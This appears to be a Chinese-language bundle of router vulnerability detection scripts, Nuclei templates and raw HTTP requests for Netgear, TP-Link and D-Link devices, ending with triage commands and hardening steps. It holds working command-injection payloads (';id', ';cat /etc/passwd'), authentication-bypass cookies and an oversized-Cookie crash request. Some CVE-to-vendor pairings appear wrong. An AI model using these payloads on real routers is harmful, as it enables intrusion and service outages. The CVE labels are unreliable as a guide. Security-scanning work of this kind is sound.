POST /soapcgi.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: text/xml; charset="utf-8"
SOAPAction: "urn:NETGEAR-ROUTER:service:DeviceConfig:1#GetInfo"

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
            s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:GetInfo xmlns:u="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
    </u:GetInfo>
  </s:Body>
</s:Envelope>

POST /soapcgi.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: text/xml; charset="utf-8"
SOAPAction: "urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetDNS"

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
            s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:SetDNS xmlns:u="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
      <NewPrimaryDNS>8.8.8.8</NewPrimaryDNS>
      <NewSecondaryDNS>8.8.4.4</NewSecondaryDNS>
    </u:SetDNS>
  </s:Body>
</s:Envelope>

#!/usr/bin/env python3
"""
CVE-2024-12847 Netgear 路由器认证绕过检测
用法: python3 cve_2024_12847.py <target_ip>
"""
import requests
import sys
import re
import xml.etree.ElementTree as ET
import urllib3

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"

SOAP_ENVELOPE = """<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
            s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:GetInfo xmlns:u="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
    </u:GetInfo>
  </s:Body>
</s:Envelope>"""

SOAP_ACTIONS = [
    "urn:NETGEAR-ROUTER:service:DeviceConfig:1#GetInfo",
    "urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo",
    "urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo",
]


def check_auth_bypass(target):
    print(f"[*] 目标: {target}")
    print(f"[*] 检测 CVE-2024-12847 Netgear 认证绕过漏洞...")
    for action in SOAP_ACTIONS:
        url = f"http://{target}/soapcgi.cgi"
        headers = {
            "Content-Type": 'text/xml; charset="utf-8"',
            "SOAPAction": f'"{action}"',
        }
        try:
            r = requests.post(
                url, data=SOAP_ENVELOPE, headers=headers, timeout=10
            )
            if r.status_code == 200 and "Envelope" in r.text:
                print(f"[!] 严重: 认证绕过成功!")
                print(f"    SOAP Action: {action}")
                print(f"    响应大小: {len(r.text)} bytes")
                parse_soap_response(r.text)
                return True
            print(f"[-] {action} -> {r.status_code}")
        except requests.exceptions.ConnectionError:
            print(f"[-] 连接失败: {target}")
            return False
        except Exception as e:
            print(f"[-] 请求异常: {e}")
    print("[-] 未检测到认证绕过漏洞")
    return False


def parse_soap_response(xml_text):
    try:
        root = ET.fromstring(xml_text)
        ns = {"s": "http://schemas.xmlsoap.org/soap/envelope/"}
        body = root.find(".//s:Body", ns)
        if body is not None:
            for child in body.iter():
                if child.text and child.text.strip():
                    tag = child.tag.split("}")[-1] if "}" in child.tag else child.tag
                    print(f"    {tag}: {child.text.strip()[:80]}")
    except ET.ParseError:
        print("    [!] XML 解析失败")


if __name__ == "__main__":
    check_auth_bypass(TARGET)

id: cve-2024-12847-netgear-auth-bypass

info:
  name: Netgear 路由器认证绕过检测 (CVE-2024-12847)
  author: security-researcher
  severity: critical
  description: |
    检测 Netgear 路由器是否受到认证绕过漏洞影响。
    攻击者可通过 SOAP API 端点绕过认证获取设备配置。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-12847
    cwe-id: CWE-306
  tags: cve,cve2024,netgear,auth-bypass,soap

http:
  - method: POST
    path:
      - "{{BaseURL}}/soapcgi.cgi"
    headers:
      Content-Type: 'text/xml; charset="utf-8"'
      SOAPAction: '"urn:NETGEAR-ROUTER:service:DeviceConfig:1#GetInfo"'
    body: |
      <?xml version="1.0" encoding="utf-8"?>
      <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
                  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <s:Body>
          <u:GetInfo xmlns:u="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
          </u:GetInfo>
        </s:Body>
      </s:Envelope>
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Envelope"
          - "GetInfoResponse"
        condition: and
      - type: word
        words:
          - "RouterLogin"
          - "Firmware"
          - "NewFirmwareVersion"
        condition: or

POST /shell HTTP/1.1
Host: 192.168.1.1
cmd: id > /tmp/pwned
Content-Length: 0

GET /tmp/pwned HTTP/1.1
Host: 192.168.1.1

#!/usr/bin/env python3
"""
CVE-2021-36260 Netgear 路由器命令注入检测
用法: python3 cve_2021_36260.py <target_ip>
"""
import requests
import sys
import urllib3

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
MARKER = "cve_2021_36260_test"


def check_command_injection(target):
    print(f"[*] 目标: {target}")
    print(f"[*] 检测 CVE-2021-36260 Netgear 命令注入漏洞...")

    url = f"http://{target}/shell"
    inject_cmd = f"echo {MARKER} > /tmp/{MARKER}"
    headers = {
        "cmd": inject_cmd,
        "Content-Length": "0",
        "Connection": "keep-alive",
    }

    try:
        r = requests.post(url, headers=headers, timeout=10)
        print(f"[*] 注入请求响应码: {r.status_code}")

        verify_url = f"http://{target}/tmp/{MARKER}"
        r2 = requests.get(verify_url, timeout=10)
        if MARKER in r2.text:
            print(f"[!] 严重: 命令注入成功!")
            print(f"    文件写入验证: {r2.text.strip()}")
            return True
        print("[-] 文件写入验证失败，尝试直接执行...")
        return check_direct_execution(target)
    except requests.exceptions.ConnectionError:
        print(f"[-] 连接失败: {target}")
        return False
    except Exception as e:
        print(f"[-] 请求异常: {e}")
        return False


def check_direct_execution(target):
    url = f"http://{target}/shell"
    inject_cmd = f"echo {MARKER}_direct"
    headers = {"cmd": inject_cmd, "Content-Length": "0"}
    try:
        r = requests.post(url, headers=headers, timeout=10)
        if MARKER in r.text:
            print(f"[!] 严重: 命令注入成功 (直接输出)!")
            print(f"    执行结果: {r.text.strip()[:200]}")
            return True
        print(f"[-] 未检测到命令注入，状态码: {r.status_code}")
        return False
    except Exception as e:
        print(f"[-] 直接执行检测失败: {e}")
        return False


if __name__ == "__main__":
    check_command_injection(TARGET)

id: cve-2021-36260-netgear-cmdi

info:
  name: Netgear 路由器命令注入检测 (CVE-2021-36260)
  author: security-researcher
  severity: critical
  description: |
    检测 Netgear 路由器是否受到命令注入漏洞影响。
    攻击者可通过 /shell 端点注入任意系统命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36260
    cwe-id: CWE-78
  tags: cve,cve2021,netgear,command-injection,mirai

http:
  - method: POST
    path:
      - "{{BaseURL}}/shell"
    headers:
      cmd: "echo nuclei_cve_2021_36260"
      Content-Length: "0"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nuclei_cve_2021_36260"

GET / HTTP/1.1
Host: 192.168.1.1
Cookie: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Content-Length: 0

#!/usr/bin/env python3
"""
CVE-2021-45632 Netgear 路由器缓冲区溢出检测
用法: python3 cve_2021_45632.py <target_ip>
说明: 本脚本仅做检测性验证，发送畸形请求观察服务是否崩溃，不会实际执行代码
"""
import requests
import socket
import sys
import time
import urllib3

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
PORT = 80


def check_buffer_overflow(target):
    print(f"[*] 目标: {target}:{PORT}")
    print(f"[*] 检测 CVE-2021-45632 Netgear 缓冲区溢出漏洞...")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target, PORT))
        print("[+] TCP 连接成功")
    except Exception as e:
        print(f"[-] TCP 连接失败: {e}")
        return False

    payload_size = 1024
    padding = b"A" * payload_size
    request = (
        b"GET / HTTP/1.1\r\n"
        b"Host: " + target.encode() + b"\r\n"
        b"Cookie: " + padding + b"\r\n"
        b"Connection: close\r\n"
        b"\r\n"
    )

    try:
        sock.send(request)
        time.sleep(1)
        sock.close()
    except Exception as e:
        print(f"[*] 发送异常 (可能已触发溢出): {e}")

    time.sleep(2)

    print("[*] 验证设备响应状态...")
    for attempt in range(3):
        try:
            r = requests.get(
                f"http://{target}/",
                timeout=5,
                verify=False,
            )
            print(f"[+] 设备仍响应 (第 {attempt + 1} 次): HTTP {r.status_code}")
            if attempt == 2:
                print("[*] 设备未崩溃，可能已打补丁或使用了栈保护")
                return False
        except requests.exceptions.ConnectionError:
            print(f"[!] 设备无响应，HTTPd 可能已崩溃")
            return True
        except Exception as e:
            print(f"[-] 验证请求异常: {e}")
            time.sleep(1)

    print("[!] 检测完成: 设备在发送大缓冲区后失去响应，可能存在缓冲区溢出漏洞")
    return True


if __name__ == "__main__":
    print("[!] 警告: 本脚本仅用于安全检测，发送的 payload 不会执行恶意代码")
    check_buffer_overflow(TARGET)

id: cve-2021-45632-netgear-buffer-overflow

info:
  name: Netgear 路由器缓冲区溢出检测 (CVE-2021-45632)
  author: security-researcher
  severity: critical
  description: |
    检测 Netgear 路由器 Web 管理界面是否存在栈缓冲区溢出漏洞。
    通过发送超长 Cookie 头观察服务是否异常终止。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45632
    cwe-id: CWE-120
  tags: cve,cve2021,netgear,buffer-overflow

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Cookie: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "status_code == 0"
      - type: dsl
        dsl:
          - "contains(body, '<html') == false"

8.8.8.8; cat /etc/passwd

POST /cgi?8 HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded

operation=ping&ping_ip=8.8.8.8%3Bcat%20%2Fetc%2Fpasswd

#!/usr/bin/env python3
"""
CVE-2023-1389 TP-Link 路由器命令注入检测
用法: python3 cve_2023_1389.py <target_ip>
"""
import requests
import sys
import urllib3

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"
MARKER = "tplink_cve2023_1389"


def check_command_injection(target):
    print(f"[*] 目标: {target}")
    print(f"[*] 检测 CVE-2023-1389 TP-Link 命令注入漏洞...")

    test_commands = [
        (f"8.8.8.8;echo {MARKER}", MARKER),
        (f"127.0.0.1;id", "uid="),
        (f"127.0.0.1;cat /etc/hostname", ""),
    ]

    for payload, expected in test_commands:
        url = f"http://{target}/cgi"
        params = {"8": ""}
        data = f"operation=ping&ping_ip={payload}"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}

        try:
            r = requests.post(
                url, params=params, data=data, headers=headers, timeout=10
            )
            if expected and expected in r.text:
                print(f"[!] 严重: 命令注入成功!")
                print(f"    Payload: {payload}")
                print(f"    响应内容: {r.text[:500]}")
                return True
            elif not expected and r.status_code == 200 and "ping" in r.text.lower():
                print(f"[*] 响应包含 ping 输出，尝试提取...")
                print(f"    响应片段: {r.text[:300]}")
        except requests.exceptions.ConnectionError:
            print(f"[-] 连接失败: {target}")
            return False
        except Exception as e:
            print(f"[-] 请求异常: {e}")

    print("[-] 未检测到命令注入漏洞")
    return False


if __name__ == "__main__":
    check_command_injection(TARGET)

id: cve-2023-1389-tplink-cmdi

info:
  name: TP-Link 路由器命令注入检测 (CVE-2023-1389)
  author: security-researcher
  severity: high
  description: |
    检测 TP-Link 路由器 Web 管理界面诊断功能是否存在命令注入漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-1389
    cwe-id: CWE-78
  tags: cve,cve2023,tplink,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/cgi?8"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "operation=ping&ping_ip=8.8.8.8%3Becho%20tplink_cve2023_1389"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "tplink_cve2023_1389"

GET /webpages/index.html HTTP/1.1
Host: 192.168.0.1
Cookie: TP-SessionID=1234567890; tp_token=null%00

GET /cgi?3 HTTP/1.1
Host: 192.168.0.1
Cookie: TP-SessionID=1234567890; tp_token=null%00

#!/usr/bin/env python3
"""
CVE-2023-50224 TP-Link 路由器认证绕过检测
用法: python3 cve_2023_50224.py <target_ip>
"""
import requests
import sys
import urllib3

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"


def check_auth_bypass(target):
    print(f"[*] 目标: {target}")
    print(f"[*] 检测 CVE-2023-50224 TP-Link 认证绕过漏洞...")

    bypass_paths = [
        "/cgi?3",
        "/cgi?7",
        "/cgi?8",
        "/webpages/",
        "/webpages/index.html",
    ]

    payloads = [
        "TP-SessionID=1234567890; tp_token=null%00",
        "TP-SessionID=AAAAAAAAAAAAAAAAAAAAAAAAAAAA; tp_token=null",
        "tp_token=null%00",
    ]

    for path in bypass_paths:
        for cookie in payloads:
            url = f"http://{target}{path}"
            headers = {"Cookie": cookie}
            try:
                r = requests.get(url, headers=headers, timeout=10, verify=False)
                if r.status_code == 200:
                    if any(
                        kw in r.text
                        for kw in ["status", "success", "login", "model"]
                    ):
                        print(f"[!] 严重: 认证绕过成功!")
                        print(f"    路径: {path}")
                        print(f"    Cookie: {cookie[:50]}")
                        print(f"    响应大小: {len(r.text)} bytes")
                        return True
            except requests.exceptions.ConnectionError:
                print(f"[-] 连接失败: {target}")
                return False
            except Exception as e:
                print(f"[-] 请求异常 ({path}): {e}")

    print("[-] 未检测到认证绕过漏洞")
    return False


if __name__ == "__main__":
    check_auth_bypass(TARGET)

id: cve-2023-50224-tplink-auth-bypass

info:
  name: TP-Link 路由器认证绕过检测 (CVE-2023-50224)
  author: security-researcher
  severity: high
  description: |
    检测 TP-Link 路由器是否存在认证绕过漏洞。
    该漏洞被 Quad7/Storm-0940 APT 组织在野利用。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-50224
    cwe-id: CWE-287
  tags: cve,cve2023,tplink,auth-bypass,apt

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi?3"
      - "{{BaseURL}}/cgi?7"
    headers:
      Cookie: "TP-SessionID=1234567890; tp_token=null%00"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "success"
          - "status"
          - "model"
        condition: or

POST /cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded

operation=diagnostic&ping_ip=127.0.0.1;id

#!/usr/bin/env python3
"""
CVE-2024-55889 TP-Link Archer AX55 命令注入检测
用法: python3 cve_2024_55889.py <target_ip>
"""
import requests
import sys
import urllib3

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"
MARKER = "ax55_cve_2024_55889"


def check_command_injection(target):
    print(f"[*] 目标: {target}")
    print(f"[*] 检测 CVE-2024-55889 TP-Link Archer AX55 命令注入漏洞...")

    inject_payloads = [
        f"127.0.0.1;echo {MARKER}",
        f"127.0.0.1;id",
        f"127.0.0.1;cat /etc/hostname",
    ]

    for payload in inject_payloads:
        url = f"http://{target}/cgi"
        data = f"operation=diagnostic&ping_ip={payload}"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}

        try:
            r = requests.post(url, data=data, headers=headers, timeout=10)
            if MARKER in r.text:
                print(f"[!] 严重: 命令注入成功!")
                print(f"    Payload: {payload}")
                print(f"    响应片段: {r.text[:500]}")
                return True
            elif "uid=" in r.text:
                print(f"[!] 严重: id 命令执行成功!")
                for line in r.text.split("\n"):
                    if "uid=" in line:
                        print(f"    {line.strip()}")
                return True
        except requests.exceptions.ConnectionError:
            print(f"[-] 连接失败: {target}")
            return False
        except Exception as e:
            print(f"[-] 请求异常: {e}")

    print("[-] 未检测到命令注入漏洞")
    return False


if __name__ == "__main__":
    check_command_injection(TARGET)

id: cve-2024-55889-tplink-ax55-cmdi

info:
  name: TP-Link Archer AX55 命令注入检测 (CVE-2024-55889)
  author: security-researcher
  severity: critical
  description: |
    检测 TP-Link Archer AX55 路由器是否存在命令注入漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55889
    cwe-id: CWE-78
  tags: cve,cve2024,tplink,archer,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/cgi"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "operation=diagnostic&ping_ip=127.0.0.1%3Becho%20ax55_cve_2024_55889"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ax55_cve_2024_55889"

POST /cgi-bin/ HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

cmd=ping&ip=127.0.0.1;id

#!/usr/bin/env python3
"""
CVE-2026-0625 D-Link DSL 路由器零日 RCE 检测
用法: python3 cve_2026_0625.py <target_ip>
"""
import requests
import sys
import urllib3

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
MARKER = "dlink_cve2026_0625"


def check_zero_day_rce(target):
    print(f"[*] 目标: {target}")
    print(f"[*] 检测 CVE-2026-0625 D-Link DSL 零日 RCE 漏洞...")

    endpoints = [
        ("/cgi-bin/", f"cmd=ping&ip=127.0.0.1;echo {MARKER}"),
        ("/cgi-bin/", f"cmd=ping&ip=127.0.0.1;id"),
        ("/cgi-bin/diagnostics", f"action=ping&address=127.0.0.1;echo {MARKER}"),
        ("/cgi-bin/diagnostics", f"action=ping&address=127.0.0.1;id"),
    ]

    for endpoint, data in endpoints:
        url = f"http://{target}{endpoint}"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}

        try:
            r = requests.post(url, data=data, headers=headers, timeout=10)
            if MARKER in r.text:
                print(f"[!] 严重: 零日 RCE 检测成功!")
                print(f"    端点: {endpoint}")
                print(f"    响应片段: {r.text[:500]}")
                return True
            elif "uid=" in r.text:
                print(f"[!] 严重: id 命令执行成功!")
                for line in r.text.split("\n"):
                    if "uid=" in line:
                        print(f"    {line.strip()}")
                return True
        except requests.exceptions.ConnectionError:
            pass
        except Exception as e:
            print(f"[-] 请求异常 ({endpoint}): {e}")

    print("[-] 未检测到命令注入漏洞")
    return False


if __name__ == "__main__":
    check_zero_day_rce(TARGET)

id: cve-2026-0625-dlink-dsl-zero-day

info:
  name: D-Link DSL 路由器远程命令执行 (CVE-2026-0625)
  author: security-researcher
  severity: critical
  description: |
    检测 D-Link DSL 系列路由器中存在的远程命令执行漏洞，
    未经认证的远程攻击者可利用 ping 诊断功能参数注入命令，
    实现完全设备控制。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0625
    cwe-id: CWE-78
  tags: cve,cve2026,dlink,dsl,command-injection,rce

http:
  - method: POST
    path:
      - "{{BaseURL}}/cgi-bin/diagnostics.cgi"
      - "{{BaseURL}}/cgi-bin/ping.cgi"
      - "{{BaseURL}}/cgi-bin/"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "action=ping&ip_addr=127.0.0.1%3Becho%20dlink_cve2026_0625"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "dlink_cve2026_0625"

POST /cgi-bin/diagnostic.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded

action=ping&ping_ipaddr=127.0.0.1;id

#!/usr/bin/env python3
"""
CVE-2024-33112 D-Link 路由器命令注入检测
用法: python3 cve_2024_33112.py <target_ip>
"""
import requests
import sys
import urllib3

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"
MARKER = "dlink_cve_2024_33112"


def check_command_injection(target):
    print(f"[*] 目标: {target}")
    print(f"[*] 检测 CVE-2024-33112 D-Link 命令注入漏洞...")

    endpoints = [
        ("/cgi-bin/diagnostic.cgi", f"action=ping&ping_ipaddr=127.0.0.1;echo {MARKER}"),
        ("/cgi-bin/diagnostic.cgi", f"action=ping&ping_ipaddr=127.0.0.1;id"),
        ("/cgi-bin/", f"cmd=ping&ip=127.0.0.1;echo {MARKER}"),
    ]

    for endpoint, data in endpoints:
        url = f"http://{target}{endpoint}"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}

        try:
            r = requests.post(url, data=data, headers=headers, timeout=10)
            if MARKER in r.text:
                print(f"[!] 严重: 命令注入成功!")
                print(f"    端点: {endpoint}")
                print(f"    响应片段: {r.text[:500]}")
                return True
            elif "uid=" in r.text:
                print(f"[!] 严重: id 命令执行成功!")
                for line in r.text.split("\n"):
                    if "uid=" in line:
                        print(f"    {line.strip()}")
                return True
        except requests.exceptions.ConnectionError:
            pass
        except Exception as e:
            print(f"[-] 请求异常 ({endpoint}): {e}")

    print("[-] 未检测到命令注入漏洞")
    return False


if __name__ == "__main__":
    check_command_injection(TARGET)

id: cve-2024-33112-dlink-cmdi

info:
  name: D-Link 多款设备命令注入检测 (CVE-2024-33112)
  author: security-researcher
  severity: critical
  description: |
    检测 D-Link DIR/DAP 系列路由器是否存在命令注入漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-33112
    cwe-id: CWE-78
  tags: cve,cve2024,dlink,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/cgi-bin/diagnostic.cgi"
      - "{{BaseURL}}/cgi-bin/"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "action=ping&ping_ipaddr=127.0.0.1%3Becho%20dlink_cve_2024_33112"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "dlink_cve_2024_33112"

POST / HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded

cmd=ping&ping_ipaddr=127.0.0.1;id

#!/usr/bin/env python3
"""
CVE-2020-25506 D-Link DIR-823 命令注入检测
用法: python3 cve_2020_25506.py <target_ip>
"""
import requests
import sys
import urllib3

urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"
MARKER = "dlink_cve_2020_25506"


def check_command_injection(target):
    print(f"[*] 目标: {target}")
    print(f"[*] 检测 CVE-2020-25506 D-Link DIR-823 命令注入漏洞...")

    payload = f"127.0.0.1;echo {MARKER}"
    data = f"cmd=ping&ping_ipaddr={payload}"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}

    try:
        r = requests.post(
            f"http://{target}/",
            data=data,
            headers=headers,
            timeout=10,
            verify=False,
        )
        if MARKER in r.text:
            print(f"[!] 严重: 命令注入成功!")
            print(f"    响应片段: {r.text[:500]}")
            return True
        r2 = requests.post(
            f"http://{target}/",
            data=f"cmd=ping&ping_ipaddr=127.0.0.1;id",
            headers=headers,
            timeout=10,
            verify=False,
        )
        if "uid=" in r2.text:
            print(f"[!] 严重: id 命令执行成功!")
            for line in r2.text.split("\n"):
                if "uid=" in line:
                    print(f"    {line.strip()}")
            return True
    except requests.exceptions.ConnectionError:
        print(f"[-] 连接失败: {target}")
        return False
    except Exception as e:
        print(f"[-] 请求异常: {e}")

    print("[-] 未检测到命令注入漏洞")
    return False


if __name__ == "__main__":
    check_command_injection(TARGET)

id: cve-2020-25506-dlink-dir823-cmdi

info:
  name: D-Link DIR-823 命令注入检测 (CVE-2020-25506)
  author: security-researcher
  severity: critical
  description: |
    检测 D-Link DIR-823 路由器是否存在命令注入漏洞。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-25506
    cwe-id: CWE-78
  tags: cve,cve2020,dlink,dir823,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "cmd=ping&ping_ipaddr=127.0.0.1%3Becho%20dlink_cve_2020_25506"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "dlink_cve_2020_25506"

# Netgear 路由器排查
# 1. 确认固件版本
cat /etc/version
# 2. 检查是否有异常进程
ps | grep -E "telnet|nc|wget|tftp"
# 3. 检查异常网络连接
netstat -antp | grep -E "ESTABLISHED|LISTEN"
# 4. 检查异常定时任务
crontab -l 2>/dev/null; cat /var/spool/cron/* 2>/dev/null
# 5. 检查异常文件
ls -la /tmp/ /var/tmp/ /tmp/var/

# TP-Link 路由器排查
# 1. 检查异常进程
ps | grep -E "busybox|wget|curl|telnet"
# 2. 检查 DNS 配置
cat /etc/resolv.conf
# 3. 检查异常连接
netstat -antp 2>/dev/null || ss -antp

# D-Link 路由器排查
# 1. 检查固件版本
cat /etc/config/version
# 2. 检查异常 CGI 脚本
ls -la /var/www/cgi-bin/
# 3. 检查异常进程和连接
ps | grep -v -E "httpd|dnsmasq|dropbear|busybox"
netstat -antp | grep -v -E "80|53|22|23"

# 1. 立即关闭 Web 管理界面的 WAN 侧访问（如果路由器支持 CLI）
# Netgear: 通过 telnet (如果可用) 关闭 remote management
# TP-Link: 在 LAN 侧电脑上访问管理界面，关闭"远程管理"
# D-Link: 在 LAN 侧电脑上访问管理界面，将远程管理端口设为 0

# 2. 通过 iptables 限制管理端口访问（如果设备支持）
iptables -A INPUT -p tcp --dport 80 -s 192.168.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 443 -s 192.168.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP

# 3. 修改管理员默认密码
# 所有厂商均应立即修改默认 admin 密码

# 4. 更新固件至最新版本
# 通过 Web 管理界面的"固件升级"功能检查并安装更新

# 5. 对于已 EOL 且无法更新的设备，建议更换新设备